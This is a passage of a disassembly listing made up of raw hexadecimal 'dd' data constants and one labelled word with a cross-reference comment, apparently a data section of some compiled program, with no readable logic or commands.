dd 0DD76425Fh, 6A04A1Ch, 0BE0A9B3h, 0D56504DDh, 0D61071E6h
dd 73B9BB65h, 0DA60DEC1h, 6B1922B6h, 0C2D4F799h, 49B9E8D9h
dd 0BA262E96h, 0EA82212Dh, 6CEFDE31h, 7978FE85h, 10C8A4DFh
dd 91C01ED5h, 722AFE6Ah, 22FED929h, 0C280C38Fh, 0D924478h
dd 85FA96Eh, 19D0A9E8h, 286520EBh, 2A1E68A4h, 71167B2Ch
dd 370FD40Dh, 0EAB8FE04h, 88B2B09Dh, 815C88A6h, 0F87859DEh
dd 7AE5C05Bh, 5185C02Ch, 2DBC8CEBh, 86E1AA4Ch, 77CD78F3h
dd 81617BE2h, 62625ED2h, 0E7088771h, 5AB1485Fh, 0DB2503C5h
dd 421476C9h, 808A9E6h, 0EAB13053h, 1E7DDB96h, 78AC72CDh
dd 6CD666C1h, 0FA0168EBh, 2AA1F411h, 8804E855h, 29BA5765h
dd 95D08671h, 8DD2C489h, 4D26502Eh, 33AB53EEh, 9A40B56Ah
dd 0DE2BC537h, 0BC8E1D70h, 0B24D7CA9h, 9573B3C3h, 5E7A3C55h
dd 524C6ADBh, 4676420Ah, 3AA0408Ah, 2ECA34B5h, 22F428DFh
dd 161E358Dh, 0A481033h, 121520Ch, 0E2A2CA12h, 4A9F47B1h
dd 2185205Fh, 43D93AE7h, 0D25DB5BAh, 2391EE59h, 0AA888E09h
dd 0DC8E2124h, 840498C7h, 0CA168C01h, 0F2BEF44h, 7182425h
dd 7F80109h, 37E839CEh, 0B8D25BFh, 0ABED14FDh, 322C0615h
dd 6436A9D8h, 4653206Bh, 6BC975E7h, 67896981h, 9C6CB39Dh
dd 994C9346h, 8D16B211h, 0D2F8BB12h, 0B4C2BFCDh, 0BA8EA5A7h
dd 0CF6FC6B6h, 0CB72CD6Bh, 961FF925h, 0EBEDE230h, 17F4E1E9h
dd 13911DABh, 86F1C81h, 1930217Ch, 3A3B3137h, 2DF6180Ah
dd 45DD59FAh, 589B3082h, 7B764588h, 7D417D45h, 6E026935h
dd 9EE16519h, 8BD8B795h, 0B6B19CDEh, 0B79BAE81h, 0B86BD077h
dd 0DB26A558h, 0DE13D733h, 0D6CAC9F9h, 0F4839288h, 0E689E484h
dd 0C724FC60h, 223A1541h, 0B1D020Bh, 37E464E9h, 3B983DDBh
dd 29A2298Ch, 4E533958h, 471E5950h, 64744D32h, 5AFB79FBh
dd 6BBA72DAh, 0B9F27DAFh, 9B5A8C62h, 9207895Dh, 0B819922Fh
dd 0BDFFA0F0h, 0A783C8EEh, 0DA87FAADh, 0D071E366h, 0FB05A448h
dd 0FE05DE23h, 0EBFFD8E4h, 1F8780CEh, 0A8539A1h, 2A71048Ah
dd 3A5A3248h, 0D681136h, 5BC63018h, 5BFA48CAh, 47A849BDh
dd 1A514596h, 5A4E7162h, 5214652Ah, 0B7E68818h, 9EDDB7A3h
dd 0AD90819Bh, 0D262B79Eh, 9042A966h, 0D313B22Eh, 0D6CFDA1Ah
dd 0C7F3A8DEh, 0FAB1CABDh, 0C36DFD86h, 0C5DE273h, 1B28192Ah
dd 66C7021Eh, 3ED10FD7h, 3CB83D89h, 37D3A8Eh, 464F7119h
dd 5D3D5915h, 77C44222h, 5DAC7DFBh, 40B869B1h, 0B7656C82h
dd 875A8474h, 0E2158F51h, 0B81BAC26h, 0A9C7A2C3h, 0BEA1B7D8h
dd 0D193CAB7h, 9555DF74h, 0E839E609h, 0DE7AE016h, 0E7C7E7FDh
dd 44FD0FCAh, 1E8015ADh, 2A47370Dh, 37203171h, 34023820h
dd 4ED522E2h, 2E8B47D0h, 64804D8Ch, 427B7060h, 0A2D7D5Ah
dd 9B17680Eh, 8BCFF8F7h, 8BA398C2h, 0BF9D898Fh, 0A75CBB51h
dd 0AB10AD43h, 0E36ED934h, 0DAF9DDEDh, 0E9A7CDFBh, 0FBAAFE98h
dd 0D016E96Dh, 0F34F242h, 22B1834h, 62F70713h, 22D72EFEh
dd 268116B6h, 4A5C4498h, 47565C66h, 54365822h, 76F95612h
dd 7DDF73C0h, 678F679Bh, 8240FC97h, 8B5D8260h, 0B7248139h
dd 9C8CBD1Bh, 0A3C48FD5h, 0EA85B4AAh, 0CB69DB87h, 0EC34DB6Ch
dd 0F32CDF3Dh, 0DAEDE412h, 1BD1EBEFh, 0A990BB4h, 257222F1h
dd 2E510569h, 2D3F0720h, 2CEB211Bh, 75DA7299h, 5EB955B1h
dd 7B717188h, 7D5E4865h, 75256922h, 0B7F44E6Bh, 87FC84F4h
dd 849B9FDAh, 0A29DB9BAh, 0CA46BF7Ah, 0CE1DB073h, 0DB3AD602h
dd 0E8A6C9FDh, 0FFA0EFCFh, 0E188C48Bh, 0F157ED6Ch, 1325136Dh
dd 1E36700Dh, 30C714C2h, 26AF3DE4h, 46982388h, 48703445h
dd 4D2F405Ah, 501D7E2Bh, 7AFF69FDh, 65A575FEh, 0B0F27DAFh
dd 9769A973h, 880F9543h, 0B7028F3Dh, 0A1F3A0E4h, 0A9AB9CC1h
dd 0F8EED2BCh, 0C36AE777h, 0F714C159h, 0F319EC25h, 0EBF3C1EDh
dd 7AB9F2C4h, 3B860087h, 0D770191h, 226D394Dh, 2D063921h
dd 50D32B29h, 46EF51D4h, 418845A3h, 5B4377FBh, 7C5B6076h
dd 2147D3Bh, 85E1901Ah, 89D783C6h, 0DE9681A6h, 0BC62B794h
dd 0C642AF44h, 0D214A52Ch, 0CCFEC71Ah, 0CFD5C6E6h, 0F3AC9CACh
dd 0F908E690h, 7E56EA78h, 193F1734h, 2F861814h, 28D514F5h
dd 0DAE31ABh, 27772783h, 52405D51h, 6358552Fh, 6CE75003h
dd 55D87DF9h, 699578A4h, 99656E85h, 0BD4E9161h, 8720894Bh
dd 0A2109569h, 0AFC6A2F6h, 0DBA28BC9h, 0FBFCF989h, 0D443D87Fh
dd 0D524C555h, 0DB14F115h, 82E5E4FDh, 13BA12F0h, 1E9D1E91h
dd 3A43015Fh, 37203171h, 10320D61h, 9E910CAh, 628E1A87h
dd 47A62893h, 79725F6Eh
dd 6F037540h, 9B200424h, 97ECB7E0h, 9FA3A7DFh, 0DAB1989Eh
dd 9F7DB157h, 0BB36AD5Ah, 0C302DD0Fh, 0EBE0F5E6h, 0F9A7F6ADh
dd 0C498FD84h, 0E363E060h, 7A01F86Eh, 49C4703h, 0E9C23E7Dh
dd 4BF367Dh, 1CF0222Ch, 7C42D102h, 0F6B73837h, 76307A07h
dd 2E0DF2Dh, 3004815Ah, 0C66708DFh, 0FECCA2E9h, 11717D23h
dd 0B6332C66h, 3A8CD877h, 0C592802Ch, 0BF8AC0A1h, 0C459E4A4h
dd 0F2F8231Ah, 0C20E48C2h, 0D8D9D019h, 98277BCEh, 0F1DC68F9h
dd 0F3F96035h, 5A205EF5h, 8D5290C6h, 7F70DDE2h, 0FF9D3C89h
dd 428A30A9h, 1E3024DDh, 437DDC9Ch, 57064C2Bh, 3A031801h
dd 0E0C0A09Dh, 4117EFh, 55FECCD7h, 181BF0D7h, 275D04B8h
dd 0EAA64FA5h, 0F1656EB2h, 5B385F88h, 81056B1Ah, 82242D8Bh
dd 9A262C39h, 0E1787011h, 0D5A20E59h, 3A8C327Bh, 46E64CE1h
dd 50724261h, 5CA65C35h, 221E285Fh, 0E9CE4FD8h, 1AF6C626h
dd 1AB5BDDh, 0E222DE92h, 92B96931h, 52FD6B2Ah, 2D9AC490h
dd 0C25145A3h, 0B5EEACC9h, 554BE7D2h, 5CC72FFFh, 1F6C8869h
dd 86BE560Eh, 85EB68ABh, 0EB618B2Ah, 62045625h, 7F19D3A4h
dd 50805053h, 0B56DBB82h, 2282FE22h, 869A1D1h, 0F21020D2h
dd 0F1C5EB2Ch, 3CAE8DC4h, 360BFC69h, 6535D0D7h, 0DEE2CDF6h
dd 2DF22C1Fh, 14B347DEh, 3F60D075h, 2381C0B5h, 0A29DE010h
dd 680174C9h, 4D836F0Ch, 96674742h, 725C7847h, 7A6BED2Ch
dd 69B07080h, 0E95FD90Ch, 130458F1h, 667F6D4Dh, 0BFA76112h
dd 1E921A3Fh, 0ED881C10h, 16E82A54h, 0FEC25DEBh, 0EEC2A115h
dd 0BF54E83Fh, 0CD3531E8h, 35C2D083h, 0A5C45130h, 0E0ACB8F7h
dd 0A6028CDCh, 5ED3A011h, 0BBDF269h, 82B493D3h, 0F3095C74h
dd 6AE86BBDh, 5E086429h, 48269B6Ah, 467FA439h, 782D408Bh
dd 0E7349ED4h, 4B37D8AAh, 6215C9Ch, 2CC1533h, 6BFB4655h
dd 0F28CC7C7h, 0B3050E46h, 0DAF0E033h, 239B8905h, 0C254D38Ah
dd 892A21D2h, 0D61BB093h, 91C2AC89h, 92EC2153h, 8EFA0D01h
dd 2E408029h, 6E6B703Dh, 1801977Fh, 0DDBE4C97h, 6E6CDD2Fh
dd 3E1245F9h, 0DA3C5277h, 26662C55h, 1AC2722Dh, 782FEBF2h
dd 31E418F1h, 0F2997130h, 0BB38F022h, 8F608E1Ch, 0D2E4D91Dh
dd 94F6CCA1h, 84A25534h, 2B9CB4E5h, 0F26FDCE9h, 975AF41Dh
dd 75DF9073h, 7C92A029h, 0E72378C7h, 661653D3h, 2EF0E542h
dd 1E4EB753h, 42EE9CE4h, 60F96DCBh, 1462A53Ch, 9B5B24FDh
dd 44FC6DD7h, 387099BEh, 0AD0D007Bh, 84FDA6D1h, 7559B0FBh
dd 0D6FEDDEDh, 0A0E8E3B8h, 15A19D2Dh, 0E22CE837h, 0F4F6FCC1h
dd 0A49A3544h, 4A7B94F5h, 82248A07h, 7E6A08C6h, 556AE59Ch
dd 0A1F1649Dh, 42F34A22h, 423411E1h, 301EC00Bh, 0A50C3540h
dd 3261ACD2h, 9B87FF89h, 1AD81026h, 0A82307DDh, 32982AF8h
dd 0E759643Eh, 5E7FE05Bh, 0CE9AD595h, 0B7FEF62Fh, 886EFAC9h
dd 0AB9CBF03h, 1E42A42Ch, 6319B869h, 0D6A80DC7h, 0F87CEE2h
dd 0A825FF97h, 495B69B9h, 56540DE7h, 0B53B0602h, 2EAD4EE8h
dd 0F38761A7h, 2639A9DEh, 9F9D20FBh, 0E2A0ABEh, 0E0C0825h
dd 0A68EFC79h, 0E02D0FF0h, 0E3E2F4F2h, 0D20CD8FBh, 0C689492Eh
dd 0B89C04Bh, 2F8AB475h, 0EBE6F8A1h, 335B939Fh, 90890F3h
dd 429E8CDBh, 0EBD8774Ah, 5A866C71h, 0F64315BBh, 0CBD56EF9h
dd 42044863h, 160E31B4h, 0B651063h, 6BF6410Ah, 3290B4E8h
dd 785770B4h, 8E682014h, 6F5B8161h, 0D824EB41h, 0BE0BF346h
dd 0CA579755h, 0AE68F5B2h, 45FCB8C0h, 33D9FEF3h, 9A409E91h
dd 0DE2A5456h, 8B4CD8DFh, 32CE7CB9h, 696078Ch, 5E460562h
dd 6D56CDC8h, 86F34C71h, 0F39376FFh, 118EB13Ch, 4AA528CFh
dd 961E1E09h, 5A1E4162h, 0C16C91A2h, 6711F897h, 0E6D6F72Eh
dd 8E39D38Bh, 9F488454h, 90D1377Eh, 316EAC67h, 3F679487h
dd 9ED29A8Bh, 1F6C5B2Fh, 86069976h, 1083792Ah, 916B1E54h
dd 66E7974Ch, 963B4956h, 91DB0AA7h, 35A19476h, 0BF006824h
dd 367BEFE4h, 162AAB7Bh, 85BA14A4h, 2E50045h, 0DDF6FFF9h
dd 21B390E8h, 0AA0342BEh, 276E9F72h, 135E24Ah, 766B93C4h
dd 0FEDE3FA2h, 0F374C24Bh, 69A1F61Bh, 9AB676E6h, 243F0F9Dh
dd 0F1DC68F9h, 0A92D6035h, 9D378998h, 0A65A3E42h, 41CBC16Fh
dd 70E16F5Ah, 78996797h, 774F78A8h, 61436A74h, 5A226A2Eh
dd 9EEE693Ch, 0B2D983FAh, 90A69DFCh, 808AB28Ch, 0A35BA276h
dd 0FB0EAA52h, 0DD10C81Fh, 0A6D4C9E3h, 0FDA2C1EFh, 0E1B2E080h
dd 8024FC7Ch, 231E7C39h, 1AA8FF11h, 37DA0BFFh, 20A576DAh
dd 2A972B82h, 1459386Ah, 604A5845h, 23F6B16h, 7FEE75E0h
dd 67AE6AC2h, 0BBA151D7h, 0B87AD855h, 0C608A57Eh, 0A819967Dh
dd 9B90A1F1h, 0C2C4C847h, 5B6FE1D9h, 0AA08AEAEh, 8B3521EBh
dd 6D6C9847h, 96A8F214h, 652841ABh, 708048A1h, 5C22DD74h
dd 0FA675C39h, 601D7E6Fh, 0C1ACC51Bh, 0BF9F4DBAh, 36D9166Ch
dd 1866ABFBh, 0AB5CB172h, 3AD48DC2h, 7301FC69h, 0EAA8C875h
dd 24A46D37h, 29F2967Bh, 9D4CD90h, 9B8890A0h, 2D754B8Eh
dd 0A6BC8CE3h, 9E36D8BCh, 0D90890F3h, 3A1CC75Bh, 8D5C340Bh
dd 76B8E6E4h, 2E706B9Bh, 4CB0C7C8h, 7091B7BCh, 0C92E2C27h
dd 0BDB0A393h, 0F67DDB93h, 12AC189Ch, 59954A92h, 0BE2E53A4h
dd 112AB859h, 0F26A62AAh, 28023469h, 0CA402F6Ch, 412D3B4Bh
dd 0A2EE646Ah, 2BEF9F11h, 8A1248BEh, 0DF2BC565h, 0D3F5D8DEh
dd 0F05B83E8h, 82F860DDh, 5E226406h, 90B62h, 2587E52h
dd 0C5A00CC7h, 3EF4BE20h, 22FEC0DFh, 65691C09h, 64216243h
dd 0FE336229h, 0C00907D7h, 6FC6FC8Fh, 0CACEDA5Eh, 432BDB05h
dd 0D25DB5A2h, 0F6EB3559h, 0FB98A0BCh, 0A0483152h, 0FA7F98C7h
dd 86168C05h, 63CA35A6h, 0E3337445h, 72AB4EC2h, 0A37CB4A9h
dd 8D8EAF2Ch, 2E0C2978h, 0B16C3827h, 367843F4h, 8F1D207Bh
dd 0EAA0A88h, 38E5C9Fh, 9E5CFC93h, 6A38F021h, 0E14871B2h
dd 1209D867h, 4B94B9FBh, 0AAFEA046h, 0A860E6F5h, 0BC591D92h
dd 0C00A9C59h, 0D8D9C023h, 419C1162h, 8D8478D7h, 76394A64h
dd 1DB5A61Bh, 4E5A4404h, 42844487h, 79FD6B99h, 18EB7B80h
dd 524E60C3h, 98B9E717h, 95561C7Fh, 0FA800703h, 0F1F7995h
dd 0BBD4F8A7h, 0E8086164h, 0F7C0D003h, 56AD3BC8h, 0B27CB86Bh
dd 0EFE8E5C6h, 0B484E5F5h, 8EB6D8A1h, 0BCAE1DF0h, 0B6CB7C29h
dd 684DF46Ch, 3631648Dh, 52CC58B2h, 5FE9F96Ch, 0B779401Bh
dd 3E752688h, 0D772C05Fh, 0AB1DE376h, 0AD82FA5h, 0EE760BDDh
dd 731CF805h, 0E6477CDDh, 0DB18B45Bh, 319AD484h, 0D2FA3E3Ah
dd 262A3DD9h, 0FA18B002h, 9E2870A6h, 84F96705h, 3969CBEh
dd 77B5D96Bh, 6EF9FCBDh, 0C88197FFh, 0BD3E4C17h, 25D5D3B1h
dd 3E925463h, 0B73111D2h, 26F632A2h, 1885DFABh, 8B3A041Ah
dd 8BE0078Fh, 7D8EFC78h, 0EA33FCE3h, 5B6DD432h, 0D21CC698h
dd 877149E7h, 0D061C05Bh, 0C48BDE75h, 0AC21579Dh, 15DE8CF6h
dd 0E076F0Bh, 7E32857Dh, 19C9F5D4h, 0C867C6Fh, 0A5E3328Bh
dd 5EE4AA50h, 4DC4CDEFh, 362F7C9Ch, 0A6E5BD43h, 0AF823473h
dd 0E890F09Fh, 92BEF33Eh, 0A40000EBh, 0DAA3123Eh, 77ABBC1Bh
dd 0D66EE2EBh, 0D4326D1Eh, 0BF63C4ADh, 4D06A50Fh, 21B321EEh
dd 0F050B025h, 8E6EFC65h, 0D1F6888Fh, 49C4E946h, 2E7570F3h
dd 0CBAF7029h, 525C1ADFh, 4CC04331h, 2E840400h, 2CC2D474h
dd 68E62995h, 15540E0Bh
dd 26C5438h, 3F7DE5DDh, 0F9CDF067h, 19D6C8F5h, 677DB0E9h
dd 0CE0AEB4Dh, 0C244D4C7h, 80409959h, 8AB690FBh, 0BBF88483h
dd 0AAC2BDF2h, 0A66EA979h, 304AF30Eh, 4E243D1Ah, 0F76B3F7Fh
dd 56AE6293h, 4A449452h, 3E7844FDh, 0CD6F6F77h, 365926C4h
dd 8A1DAB7Bh, 64BA04B0h, 69FFEBCFh, 1E5FF130h, 0EA38F026h
dd 0D406C16Bh, 47738F77h, 0C6A6F29Bh, 0EAEC0448h, 0A962BF1Eh
dd 2F34A81Fh, 86403CF4h, 75DBC773h, 6E8D8E08h, 0C1CFDC7h
dd 2EB3E1A5h, 0D9307024h, 5E4FC4E0h, 0CF09486Fh, 36BE7DDEh
dd 2AB2FEE8h, 0E15172BCh, 2131E82h, 6AE8F41h, 71112F15h
dd 0A61F796Bh, 52D4F880h, 0A3502EE4h, 0E0C0B003h, 0DFAD3BC7h
dd 0BB9FAF15h, 4DA7DB1Ch, 0B11F2B51h, 0C647192Bh, 71249830h
dd 9DB9FB9Dh, 0FF8723DAh, 5EB25A77h, 47BBE537h, 32F74CF1h
dd 4F102821h, 0BBB53435h, 226416F5h, 57D9A109h, 7EC810A3h
dd 9177C3CCh, 0F21CE819h, 2046EC31h, 0CA31A7DEh, 0C673D485h
dd 53B3751h, 0A6FB3C5Ch, 0AA18B003h, 9A80F9ADh, 0DD669557h
dd 0E9F9E2A1h, 1CAFA0C5h, 88318F5h, 2D34499Ah, 3B572809h
dd 251C7036h, 52F7275Dh, 53CE5AC2h, 2BC749A5h, 3A3000F1h
dd 2E753405h, 6F097D3Ch, 91AE8E1Ch, 8FDC82C2h, 0D4EFC5A3h
dd 0B760BDA5h, 0A35AB84Fh, 0C30CB338h, 0DEEBDC55h, 0C394D1EFh
dd 0F3FEF8A7h, 0E96DE08Bh, 0A5CE569h, 62F586Bh, 0FE20210h
dd 7A8A07F5h, 19D059E8h, 2A673C8Eh, 16495270h, 0A345C22h
dd 3EFB4509h, 32C876F6h, 6EB165AFh, 9C202C9Fh, 880A867Ah
dd 8C31814Dh, 9F5EAF0Dh, 0A3C9A7B3h, 0B4DFFEC9h, 0C099D0B0h
dd 0D4478C74h, 0F529805Eh, 0E85AB810h, 0ECC1E1FDh, 56F10FDDh
dd 0F951FA0h, 2A6B442Ch, 723F3117h, 231B2515h, 4EE960AAh
dd 42EA4792h, 3915CBEh, 2CB5455Eh, 621D1586h, 0FB797EE9h
dd 71CE4A6Fh, 94CDD794h, 0A5653111h, 0FEDD5001h, 0D2E2DC06h
dd 7EF17059h, 8D294A66h, 93C153F8h, 824A8CC4h, 9318568Eh
dd 0B82C4C77h, 0B6D2C707h, 6294687Fh, 56BE5CA9h, 4AE850D3h
dd 3E1244FDh, 323C3827h, 26662C51h, 1A90207Bh, 0EBA14A5h
dd 2E408CFh, 0F60EFCF9h, 0EA38F023h, 0DE62E44Dh, 0D28CD877h
dd 0C6B6CCA1h, 0BAE0C0CBh, 0AE0AB4F5h, 0A234A81Fh, 2EFB1F29h
dd 8A888031h, 3C0E211Eh, 7DDC78D7h, 0EB122F46h, 0ED3F7848h
dd 9E59520Eh, 66A00CE4h, 44A27EB2h, 229A0BDAh, 5C89309Eh
dd 1E6E3303h, 44EE99C8h, 7F09007Bh, 0EEBAB629h, 2057ED54h
dd 0B7273EC1h, 4228D4D1h, 0AE769BB8h, 0B2185067h, 86CEAC91h
dd 17D0A0BBh, 9ED91860h, 9A1DD10Fh, 0B6CD704Dh, 958F9267h
dd 4EE0F008h, 8B3B9BB7h, 62A9C1E2h, 2AC3401Bh, 0A1B644CAh
dd 269CAB5Fh, 8B17EA6Bh, 0AD8333Fh, 8AF23E5Eh, 0F12ED302h
dd 0A8CBFC43h, 842BB8A7h, 0BA9AEE06h, 29F637ABh, 0A69C43DAh
dd 55E7E7EBh, 0B58C8FD2h, 822E24DAh, 0CD95D481h, 0FF4F439Fh
dd 6EFA364Dh, 2080ED38h, 563E5C39h, 76805053h, 0B592447Dh
dd 22FEAC22h, 0D04FC4D1h, 2F8DF04h, 8D3A1425h, 12269CF2h
dd 0FEFBFC79h, 0CEB06D2Ah, 4209E4DDh, 90985508h, 49F5CC31h
dd 0AA2258CEh, 3A1F3D75h, 4AB4B8DDh, 96DE9CCAh, 1CB59C0h
dd 7E32048Eh, 9FB42A47h, 6579938Fh, 4AF2DC0Eh, 0CD0C57C5h
dd 4D044495h, 362F3B9Dh, 3A22B343h, 0E3062B6Dh, 99AC1897h
dd 0EE860083h, 5FFFE23h, 0AC967116h, 2457E82Fh, 56765639h
dd 0D3DCD06Ah, 0CAFC3D3Dh, 4317F8E4h, 2727E49Ah, 458F7FDAh
dd 0CA8315BAh, 0F7A4C4C3h, 0BEE52555h, 65028960h, 5E22D382h
dd 2ACD3E37h, 49447F9Fh, 3AA0EB0Eh, 144962B5h, 0A9F15DDFh
dd 14F50C43h, 0FB4B1AB8h, 0EC0Ch, 479F0778h, 0E6D6AE0Dh
dd 0A2306576h, 4A9EDBFEh, 3D44C82Fh, 0A62C00ECh, 0FF70E083h
dd 9D3D5B53h, 82AE2452h, 3A930301h, 79409069h, 0ED395051h
dd 0B9A76ABFh, 0B5B6EAA6h, 6A21D0C1h, 1A3685AEh, 16201123h
dd 7D422078h, 9B79CB3Bh, 0B56D1B5Eh, 83DA7C12h, 984B5402h
dd 6B0E84F8h, 7F59BDB6h, 53A2AC88h, 73941A5Ah, 3BC6B467h
dd 0F6E3270Eh, 232ADCECh, 0CEB7E1B2h, 0B9EE480h, 5B8DC266h
dd 0F3D20C26h, 43395C0Ah, 0A53614FAh, 5E18CCD0h, 336D136Fh
dd 6851C366h, 0C3CCF240h, 0E1FDDA02h, 164619D4h, 0F31FE419h
dd 6F08FF94h, 0EEBAD2ACh, 0FAE550D9h, 323E3EEBh, 0ACCAD210h
dd 0E654AE96h, 4D89968Fh, 0AE642F6Eh, 9FBA713Ch, 7BDB7CBDh
dd 78A477F0h, 0C6450F3Ah, 53FD7233h, 0F4A274ABh, 3AA67F5Ch
dd 0BC76E6B9h, 8A383508h, 0DB4BDC24h, 23CCD7A0h, 929E1C89h
dd 0DBC56461h, 1538FA3Dh, 4A1913F1h, 6646EC31h, 19CF02F0h
dd 0F70A4108h, 15EFC8BFh, 412D662Eh, 0BA213486h, 9E42A42Dh
dd 52F9975Fh, 709D6C40h, 6AF9022Eh, 689F75D5h, 479D6599h
dd 0D3C84FC2h, 4A7869D1h, 5894317Fh, 0D99909AAh, 27EB4AD5h
dd 0F2BB46DEh, 0F1C5EB99h, 8B504BC4h, 0E6CC50ECh, 1D7B5BA3h
dd 0CEDB6048h, 0D20CD8F7h, 6A3C329h, 52CA7C4Fh, 51754BE9h
dd 0E0043D16h, 13289CD9h, 8A18A971h, 7136F11Ch, 595E9376h
dd 9145C7B1h, 4A89E41Eh, 4EDA54C5h, 0C8233CE7h, 2617429Ch
dd 21B8F143h, 5B09290Bh, 0EA1CB3F1h, 7853866Bh, 3B0010D2h
dd 892FEFF5h, 4952615Bh, 7D181C5Ah, 0AE10C278h, 15D2C132h
dd 8B823D6Dh, 0FE22AC01h, 314840FAh, 1AFF52A6h, 8BA498A8h
dd 8A7E5952h, 0D29E5008h, 0F54464E6h, 562641DCh, 0B27FA439h
dd 3E2DBF74h, 262AF567h, 0E27D2DB9h, 15F5B76Fh, 60E28083h
dd 0E9A5C48h, 72630774h, 0F6E17834h, 2070E6DBh, 4A35A70Dh
dd 3C87BCFDh, 48ADC893h, 545FC449h, 601BD067h, 6CE0EC1Dh
dd 7819F8CBh, 0CA4FF4E1h, 0DEA19FACh, 0B924C2F8h, 0A30E9842h
dd 0B2589038h, 0C9D1F816h, 2205BCA2h, 26462C51h, 6F16907Bh
dd 83BE10A7h, 0A76EF680h, 0F61EC585h, 16B85B45h, 6E659148h
dd 2DC35877h, 0A45E66E1h, 4D1F3F34h, 0BE333070h, 0A274A81Fh
dd 0F0E6FA49h, 3E8AE542h, 0CE19E2B4h, 0C5972DFh, 0A6067CC8h
dd 0B29A63FBh, 0B1A5AB78h, 0C773C0DFh, 36BE051Dh, 2AD8B0C3h
dd 98B22698h, 2B50BD9Dh, 0AD300C51h, 8F85FCEBh, 6EAA4492h
dd 489417F0h, 4643512Ah, 2228C02Ah, 41AD3B30h, 8BF83D90h
dd 0A6A6AC81h, 99A4B0BBh, 7950F455h, 921D0C8Ah, 764E7C39h
dd 0D27F046Bh, 5E4EEFD8h, 0D73B171Ch, 46E67565h, 3B204008h
dd 2EBAB03Ah, 0CAC4285Fh, 0AB17B723h, 0AD8522Fh, 10CC835h
dd 58F448F8h, 46FB659Ah, 3270F019h, 31652A38h, 0FB404D58h
dd 0B6EDBCC9h, 0B06CB003h, 0A7C621DAh, 926C9847h, 8CE28D81h
dd 853EAE43h, 90719C2Ah, 8BA49700h, 0D3B5F783h, 4A7812CFh
dd 0F6B98BF6h, 7018852Eh, 6E6F2CC1h, 7E779807h, 3D9122DAh
dd 0F5CF6E8Fh, 0E6B778FCh, 0EAB8F3A3h, 28F190CDh, 0C2355A72h
dd 0CC424C21h, 459D6AA3h, 50D15C8Ah, 0C50C5760h, 3DF815ADh
dd 216E50C0h, 47B601EAh, 725F7857h, 3CF26C71h, 6332E56Dh
dd 3B5A54D5h, 0BF85A0E5h, 4C6C3E6h, 0C2A7CFBDh, 0E17DD96Fh
dd 6443827h, 0E529F33Ah, 5B866D2h, 7F819200h, 66C16394h
dd 217ECC50h, 0C96A2741h, 0CBD2C4BDh, 4E2050F3h, 0B99653EEh
dd 65AA4ED3h, 71C2F29Ah, 130FEE9Ah, 0FD01F712h, 7ABAD466h
dd 0D7EA4F0Dh, 0D7BBA47Fh, 466675E5h, 3AA04088h, 0AB3D0CC1h
dd 22E4115Bh, 101E1C09h
dd 8FBF3C47h, 0FE623DD9h, 0F39CF887h, 242EE6C4h, 320F1F26h
dd 31E5294Eh, 0FBC04DD8h, 0B66EBC49h, 0A0ECB483h, 613F0845h
dd 6F8D7028h, 3E173FEh, 7A50B9AFh, 6E6A7451h, 0F47C7F0Bh
dd 0EE41A354h, 821690FAh, 0FE1AFC56h, 8A973C53h, 418DD424h
dd 0E7EFC8D0h, 8B4DEB5Ah, 2F4314Bh, 0F60EFCF1h, 57B88256h
dd 0DE72DDCFh, 3AE5AC77h, 394931C4h, 93F8E973h, 0D0AFBE3Ch
dd 6234B826h, 33549FADh, 8A98A90Dh, 83F96C36h, 0C36C8738h
dd 0E483E65Bh, 0F0307022h, 0B1A768ADh, 0C7324790h, 36BE05E7h
dd 2E18344Eh, 16E2E5ADh, 0B94A95A7h, 51FC0DF1h, 57D2083h
dd 0CA96DD6Ah, 193650D9h, 527B2BB0h, 0DA28C02Ah, 0CA52C43Dh
dd 18350860h, 5CD314F7h, 31B641B9h, 7106680Dh, 28CC38F0h
dd 0FFE5BC0Ah, 7A3AF8DEh, 0DA27938Dh, 72CC488Eh, 33F64CE1h
dd 0E4C8171Ch, 74B5CBC9h, 7AC4E7D4h, 9394D6A2h, 0AD829CFh
dd 540E4E54h, 0DE030EFh, 67FE8ACEh, 5EF5179Bh, 8E9AC4BCh
dd 0B6C4C8AFh, 9E2A3CDAh, 93641509h, 3524A43Dh, 0D0E025DEh
dd 713D8C91h, 6AF9042Eh, 6EEA74D5h, 0D21D1DBFh, 2ABB5E79h
dd 0E068406Ah, 716C18Ah, 323C38B7h, 2D932CD1h, 9F1A984Bh
dd 0E2A2D58h, 6459E3E5h, 196CDC1h, 0FA817426h, 0DEE3E4CDh
dd 620EACF7h, 0BB93C608h, 7A60D072h, 0B80B791h, 0A2A491E2h
dd 2EB837AFh, 0FFF6072h, 7E22BD99h, 725C7A47h, 0AE326E04h
dd 63CDC591h, 0E5BC54D5h, 0ACF566h, 0A6963C09h, 8158306Ah
dd 2706A19Ah, 12A41887h, 77A20CC1h, 5FC2003h, 6AAF03EAh
dd 0E254F806h, 0A37EDC6Dh, 0C0106098h, 0AEEBBA38h, 0FF1712E7h
dd 9FA229E6h, 9250A02Bh, 9F0F9465h, 622730E9h, 4FB0D9B3h
dd 0C19E70F3h, 0B588A43Eh, 7BF43E22h, 38D34679h, 0FAA050B2h
dd 8BC03751h, 22E411A1h, 93E9B76Fh, 0A5829B7h, 0FE72145Dh
dd 321D40E1h, 2246EFC5h, 0A455EAD3h, 0A81AC43Ch, 47F2C784h
dd 0B67E85DBh, 51375828h, 1B355B52h, 92FCA153h, 0C6168C01h
dd 2AF08E5Fh, 5716F157h, 8A3E686Fh, 0A941A73Ch, 0C3161F5Eh
dd 2E50D470h, 0B6B9CF27h, 26663C68h, 6E10207Bh, 0A452A4A9h
dd 0B6598164h, 1D0EECBBh, 11D91826h, 0B48A1BB2h, 2573278Ch
dd 0D68F4824h, 0BBE0C0CBh, 1E01C1F5h, 0DEB1A25Fh, 3C5E8C70h
dd 32EE9F98h, 0DBB8441Eh, 72CC41BBh, 67B6C797h, 0DEB597B1h
dd 4E5A447Ch, 37844A6Fh, 0B22BCBB6h, 2AD820FAh, 6B0220EDh
dd 18ECA80Dh, 166F72C4h, 79258A6Bh, 2FAAE4ACh, 5AB2F85Fh
db 8Fh, 5Dh
word_616C4E dw 6655h ; DATA XREF: ___:off_444314o
dd 7A203B13h, 0C0D7CE7Dh, 187CA85Eh, 9F222966h, 9AD0A0ABh
dd 9E8F94EDh, 6AA73069h, 4F33D933h, 0C11E7073h, 5649653Dh
dd 0D7C61007h, 46E6759Ch, 0C0FFA8A1h, 0ABBDCBCAh, 226411DBh
dd 168E1C89h, 2FBD6502h, 671BCBBh, 0CB615D0Dh, 4D20EC21h
dd 0F3DA2068h, 0DED84438h, 46413FAFh, 0B6EEACE0h, 0DF189003h
